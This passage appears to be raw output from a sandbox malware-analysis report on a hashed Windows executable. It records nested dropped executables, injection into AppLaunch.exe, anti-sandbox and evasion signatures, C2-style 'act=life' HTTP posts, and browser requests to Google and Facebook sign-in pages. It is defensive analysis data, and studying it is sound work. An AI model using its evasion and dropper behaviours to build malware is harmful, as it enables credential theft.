"HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "")55:T511,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\ca8oc89.exe" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp000.tmp\9zc6id1.exe" "ca8Oc89.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\ja0vx88.exe" "ca8Oc89.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp001.tmp\8cg883yu.exe" "JA0VX88.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\cf3mr43.exe" "JA0VX88.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp002.tmp\7xn51gn.exe" "CF3Mr43.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\1sx49ye8.exe" "CF3Mr43.exe" reads file "c:\users\%osuser%\appdata\local\temp\ixp003.tmp\2qo3391.exe" "1SX49Ye8.exe" reads file "c:\windows\system32\ieframe.dll" "1SX49Ye8.exe" reads file "c:\program files\internet explorer\ieproxy.dll" "1SX49Ye8.exe" reads file "c:\program files\internet explorer\iexplore.exe" "2QO3391.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe" "8Cg883Yu.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe" "9zc6iD1.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\applaunch.exe"56:T407,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Contains ability to detect sandbox (imports API) Matched sigs: Contains ability to delay the execution of current thread Matched sigs: Contains ability to query volume size Matched sigs: Contains ability to detect virtual environment (API) Matched sigs: Makes a code branch decision directly after an API that is environment aware57:Tc9a,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe.Local\" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\COMCTL32.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Cabinet.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\Cabinet.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\VERSION.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\VERSION.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\apphelp.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\AppPatch\AcLayers.DLL" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\SspiCli.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\WINSPOOL.DRV" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\MPR.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\MPR.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\AppPatch\AcGenral.DLL" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\UxTheme.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\UxTheme.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\WINMM.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\WINMM.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\samcli.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\samcli.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\MSACM32.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to touch file "C:\Windows\system32\MSACM32.dll"58:Td25,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\Cabinet.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\VERSION.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\SspiCli.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\MPR.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\UxTheme.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\WINMM.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\samcli.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\MSACM32.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\sfc.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\sfc_os.DLL" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\dwmapi.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ca8Oc89.exe" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\9zc6iD1.exe" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\FLTLIB.DLL" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\MSVCP140.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\ucrtbase.DLL" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll"59:T87a,"16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe.Local\" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe.Config" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\16280B24AFF31FCADD92C1FD9480C8992C3F2452DB9C28F9684EC1F2C4B04526.EXE.LOCAL" "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526.exe" trying to access non-existent file "C:\16280B24AFF31FCADD92C1FD9480C8992C3F2452DB9C28F9684EC1F2C4B04526.EXE.CONFIG" "ca8Oc89.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ca8Oc89.exe.Local\" "ca8Oc89.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "ca8Oc89.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ca8Oc89.exe.Config" "ca8Oc89.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "ca8Oc89.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CA8OC89.EXE.LOCAL" "ca8Oc89.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CA8OC89.EXE.CONFIG" "JA0VX88.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\JA0VX88.exe.Local\" "JA0VX88.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "JA0VX88.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\JA0VX88.exe.Config" "JA0VX88.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"5a:T4b2,Found reference to API "WNetUseConnectionW" (Indicator: "WNetUseConnection"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "WNetGetConnectionW" (Indicator: "WNetGetConnection"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "WNetCancelConnection2W" (Indicator: "WNetCancelConnection"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "WNetAddConnection2W" (Indicator: "WNetAddConnection"; File: "16280b24aff31fcadd92c1fd9480c8992c3f2452db9c28f9684ec1f2c4b04526") Found reference to API "WNetAddConnection2W" (Indicator: "WNetAddConnection"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "WNetUseConnectionW" (Indicator: "WNetUseConnection"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "WNetCancelConnection2W" (Indicator: "WNetCancelConnection"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp") Found reference to API "WNetGetConnectionW" (Indicator: "WNetGetConnection"; Source: "00000000-00005628.00000001.78200.00C2C000.00000002.mdmp")5b:T46a,"AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "335570" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0" "$error": "2ee7"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "333688" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "33b008" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "33b008" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0" "$error": "2ee7"}5c:T536,Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D" Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /r/r1.crl" Found http requests in header "GET /wr2/75r4ZyA3vA0.crl" Found http requests in header "GET /wr2/oBFYYahzgVI.crl" Found http requests in header "GET /wr2/9UVbN0w5E6Y.crl" Found http requests in header "GET /r/gsr1.crl" Found http requests in header "GET /r/r4.crl" Found http requests in header "GET /we1/pl4XiTjSDSk.crl" Found http requests in header "GET /we1/FARePxy0M2M.crl" Found http requests in header "GET /we1/G0k-BqpOX8k.crl" Found http requests in header "GET /rootg2.cer" Found http requests in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D" Found http requests in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D"5d:T3245,Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXeConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-1004000441:1786953168316421 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXe"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:hXBn1KGL3abIkkboE3TC-h21vbu1ow:-rbE-MtClb0QaPyYConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S-148513758:1786953168073627 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:hXBn1KGL3abIkkboE3TC-h21vbu1ow:-rbE-MtClb0QaPyY"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXe"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXe"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXe"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&flowName=WebLiteSignIn&flowEntry=ServiceLogin&dsh=S220774052:1786953189437910 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXeConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXe"; in File: "SSL") Found requests in header "POST /v3/signin/identifier?continue=https://accounts.google.com/&dsh=S220774052:1786953189437910&flowEntry=ServiceLogin&flowName=WebLiteSignIn&followup=https://accounts.google.com/ HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: accounts.google.comContent-Length: 258DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXeidentifier=&hiddenPassword=&usi=S220774052%3A1786953189437910&domain=®ion=US&=&bgresponse=FNLReferenceError%3A+%27Symbol%27+is+undefined&pstMsg=1&checkConnection=youtube%3A110&checkedDomains=youtube&action=1&at=ALX_P8vaFTY-l143LLGeEFTiP45e%3A1786953189563"; in File: "SSL") Found requests in header "POST /v3/signin/identifier?checkConnection=youtube:110&checkedDomains=youtube&continue=https://accounts.google.com/&dsh=S220774052:1786953189437910&flowEntry=ServiceLogin&flowName=WebLiteSignIn&followup=https://accounts.google.com/&pstMsg=1 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: accounts.google.comContent-Length: 257DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXeidentifier=&hiddenPassword=&usi=S220774052%3A1786953189437910&domain=®ion=US&=&bgresponse=FNLReferenceError%3A+%27Symbol%27+is+undefined&pstMsg=1&checkConnection=youtube%3A51&checkedDomains=youtube&action=1&at=ALX_P8uZgwh9ly2_8yWqaozKqqCQ%3A1786953209173"; in File: "SSL") Found requests in header "POST /v3/signin/identifier?checkConnection=youtube:51&checkedDomains=youtube&continue=https://accounts.google.com/&dsh=S220774052:1786953189437910&flowEntry=ServiceLogin&flowName=WebLiteSignIn&followup=https://accounts.google.com/&pstMsg=1 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: accounts.google.comContent-Length: 257DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:dr73M2YvLXPhC5LqStb7YvxdaoGMXw:twop-qyk05x_PlXeidentifier=&hiddenPassword=&usi=S220774052%3A1786953189437910&domain=®ion=US&=&bgresponse=FNLReferenceError%3A+%27Symbol%27+is+undefined&pstMsg=1&checkConnection=youtube%3A40&checkedDomains=youtube&action=1&at=ALX_P8us0BNJ6dslkcvaWutKncAT%3A1786953239151"; in File: "SSL") Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.facebook.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v5/yS/l/0,cross/aMkGD-8HiTDKPLHk_H0DDsxgo-3469oiGT9DWDYPz6DhfgQe914iiBfD-GevAmvU9KONMKn3YhINqU49pVNahkCkvx2I9b7Pb8K.css HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yH/r/uR_TIYVE0g0.eot HTTP/1.1Accept: */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.facebook.comAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yp/r/OIjsl4A27YL.webp HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yP/r/kUc6oHI0fJd.woff HTTP/1.1Accept: */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.facebook.comAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yf/r/ipwqPKyH2FY.ttf HTTP/1.1Accept: */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoOrigin: https://www.facebook.comAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/y1/r/ay1hV6OlegS.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /images/branding/googlelogo/2x/googlelogo_color_74x24dp.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: ssl.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=-203459115×tamp=1786953166953 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=-151093864×tamp=1786953166961 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba"; in File: "SSL") Found requests in header "GET /accounts/CheckConnection?pmpo=https://accounts.google.com&v=704138938×tamp=1786953307072 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, 